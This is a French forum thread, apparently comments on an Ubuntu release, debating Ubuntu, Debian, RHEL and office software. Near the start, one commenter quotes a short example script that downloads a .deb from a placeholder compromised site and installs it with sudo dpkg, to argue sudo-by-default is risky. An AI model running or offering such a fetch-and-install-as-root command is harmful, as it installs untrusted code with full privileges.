Alors qu'avec une autre distribution connue pour être user-friendly ils ne les aurait pas eu. (bon ok cette distribution dois être mise a jour dès sa sortie pour résoudre des bugs stupides et ennuyeux sur le driver libre nv et kat)
Pour ce qui est de la sécurité, bon sudo c'est bien, mais activé par défaut c'est plutôt moyen, et vu l'explosion d'ubuntu, je sens que les programmes genre :
[machin@ubuntu ~]$ cat funy.sh
#! /bin/sh
wget http://sitetroué/chemin/basesystem-6.06....deb -O /tmp/basesystem-6.06....deb
sudo dpkg -i /tmp/basesystem-6.06....deb
Et bien ça va faire des dégats... (transmis par messagerie instantanée/mail/etc)
C'est un faux-argument. Ils n'ont pas attendu sudo pour avoir une console root (voire se loguer en root comme ils se loguaient en "Administrateur"') et taper les commandes nécessaires ou installer des paquets non-officiels venus d'on-ne-sait-où (quand ils ne les compilent pas à la main). Si l'utilisateur n'est pas sensibilisé aux problèmes de sécurité (voir les problèmes de virus transmis par mail: de plus en plus de non-initiés utilisent Thunderbird à cette fin), aucun système de sécurité ne sera efficace.
[^] # Re: passage a ubuntu
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à -1.
Je ne dis pas que le client ne va pas te taper dessus au moindre souci mais il est plus facile de démontrer que le problème vient de RedHat lorsqu'on utilise son système de mise à jour, voilà tout.
L'utilisation de RHEL intervient surtout dans des contextes professionnels avec des besoins de support logiciels et matériels.
En outre, depuis le rachat de Conectiva par Mandrake/Mandriva, qu'en est-il du développement d'apt-rpm ? Là est la question car si le projet a été abandonné en cours de route, il vous faudra également le supporter. Aurez-vous toujours les effectifs nécessaires ?
[^] # Re: passage a ubuntu
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 0.
Désolé mais mes clients n'utilisent pas Mandrake/Mandriva mais RHEL (et la 3 en plus). Et ce qui leur importe, ce n'est pas que la majorité des modules Perl soit présents mais que leurs applications soient supportées sur tel ou tel système d'exploitation (en l'occurence, c'est souvent Oracle).
Je suis d'accord sur ce point de vue, j'aurais dû le préciser quand je parlais de l'importante logithèque.
En tout cas, ça me procure un poste de travail relativement à jour et stable : excellent compromis à Debian unstable.
[^] # Re: passage a ubuntu
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 0.
L'importante logithèque disponible grâce à ce système en est, à mon avis, aussi à l'origine, pour une grande partie.
Car, là où il faut souvent récupérer des paquets RPM ci et là parce que la logithèque offerte par la distribution ne les fournit pas (rien qu'avec les modules Perl, pour l'exemple), sous Debian, ces logiciels sont déjà là et du coup, très facilement installable.
Oui, c'est ça la vraie force du projet Debian: son importante logithèque.
Bien qu'APT soit techniquement supérieur aux autres systèmes comme yum ou up2date, ils pâtissent surtout du format RPM qui s'appuie non pas sur des dépendances de paquets mais sur des fichiers. Même le port d'APT pour RPM n'a pas suffit à créer l'engouement qu'on en aurait attendu (et je suis le premier à le déplorer: utiliser APT quelque soit la distribution...).
[^] # Re: debian et sata
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 2.
Oh oui, comme sarge qui devait voir le jour en décembre 2004 ? Résultat des courses, elle est sortie en Juin 2005, soit 6 mois après...
L'intérêt principal d'Ubuntu, selon moi, c'est d'avoir une distribution relativement récente qui ne va trop bouger pendant 6 mois, histoire de pouvoir envisager de travailler avec, au boulot, dans ma bulle.
Alors, oui, bien sûr qu'on peut installer une testing puis passer en sid derrière mais je n'ai pas le temps de chercher à comprendre pourquoi mon poste de travail refuse soudainement d'imprimer ou même que Xorg refuse de démarrer. Oui, je ne suis pas obligé de faire les mises à jour tout ça mais il y aura toujours un moment où l'une d'entre-elles sera la mise à jour de trop.
Je suis prêt à aider le projet Debian, mais dans la vraie vie, je travaille pour une société et j'ai besoin d'outils de travail qui fonctionnent et on ne m'octroie pas le temps pour résoudre mes petits soucis. En fait, je suis payé pour résoudre ceux des autres qui n'ont pas plus le temps.
Un cordonnier, en somme...
[^] # Re: pas encore prêt
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 2.
[^] # Re: pas encore prêt
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 3.
[^] # Re: Ubuntu sur un serveur
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à -2.
[^] # Re: Non Respect
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à -3.
[^] # Re: Mon impression
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 3.
On peut utiliser une souris pour déplacer des fenêtres !
[^] # Re: Mon impression
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 2.
Je trouve ce paragraphe un peu trop commercial à mon goût. Si tu parles de synaptic. Sâche qu'il n'est pas dispo que pour ubuntu, il a existé avant et il existera après.
C'est à ce genre de détails qu'on distingue ceux qui ont déjà utilisé Ubuntu et ceux qui se basent sur les oui-dire parce qu'ils "n'aiment pas Ubuntu et pis c'est tout". Les utilisateurs d'Ubuntu n'utilisent synaptic qu'en second recours. Les principaux outils d'installation et de mise à jour des logiciels se nomment respectivement gnome-app-install et update-manager.
Elle contient toujours l'applet poubelle si typique d'un bureau Ubuntu
J'ai une icone poubelle sur mon bureau, je suis sur ubuntu ? non sous debian avec KDE, une icone ne fait pas la réputation d'une distribution. L'applet de poubelle se retrouve aussi dans Fedora core 5 il me semble. Ca n'a rien de spécifique à ubuntu.
Même constat, même remarque. Pourtant, la première capture d'écran t'aurait permis de faire la différence entre l'icône de la Corbeille sur le bureau et l'applet qu'on installe dans une barre de tâches. Ah oui, c'est vrai: tu n'utilises pas Gnome...
[^] # Re: pas encore prêt
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 0.
- Je trouve Dia ultra puissant mais j'avoue ne pas connaitre visio. Es-tu sûr que ce n'est pas juste une question d'habitude ?
Je pense que ce qui manque à Dia, ce n'est pas vraiment du code mais des bibliothèques d'images pour ne pas trop souffrir de la comparaison avec Visio. Simplement, c'est généralement pas libre.
[^] # Re: pas encore prêt
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 3.
Tu sais on peut être non spécialiste en informatique mais avoir des besoins avancés sur l'un ou sur l'autre, ou avoir besoin d'une interface ou de fonctionnalités qui permettent justement des choses impossibles ou trop compliquées autrement.
Je veux bien que tu nous en mentionnes avec le pourquoi et tout.
Parce que j'utilise quotidiennement OpenOffice pour réaliser des documents d'exploitation et je n'ai pas de problèmes.
Ce serait plutôt lié à des soucis de workflow pour travailler en équipe mais bon "on n'a pas le temps de tester Alfresco"(tm).
Pour notre part, on utilise abondamment les document-maître, les modifications et ce sont loin d'être des exemples de fonctionnalités couramment utilisées pour éditer son CV chez soi.
En fait, les principaux problèmes rencontrés sont davantage liés à l'import de documents Word (souvent mal ficelés ou abusant des macros) qu'autre chose.
[^] # Re: Non Respect
Posté par Raphaël SurcouF (site web personnel) . En réponse à la dépêche Ubuntu : le canard pimpant est arrivé !. Évalué à 3.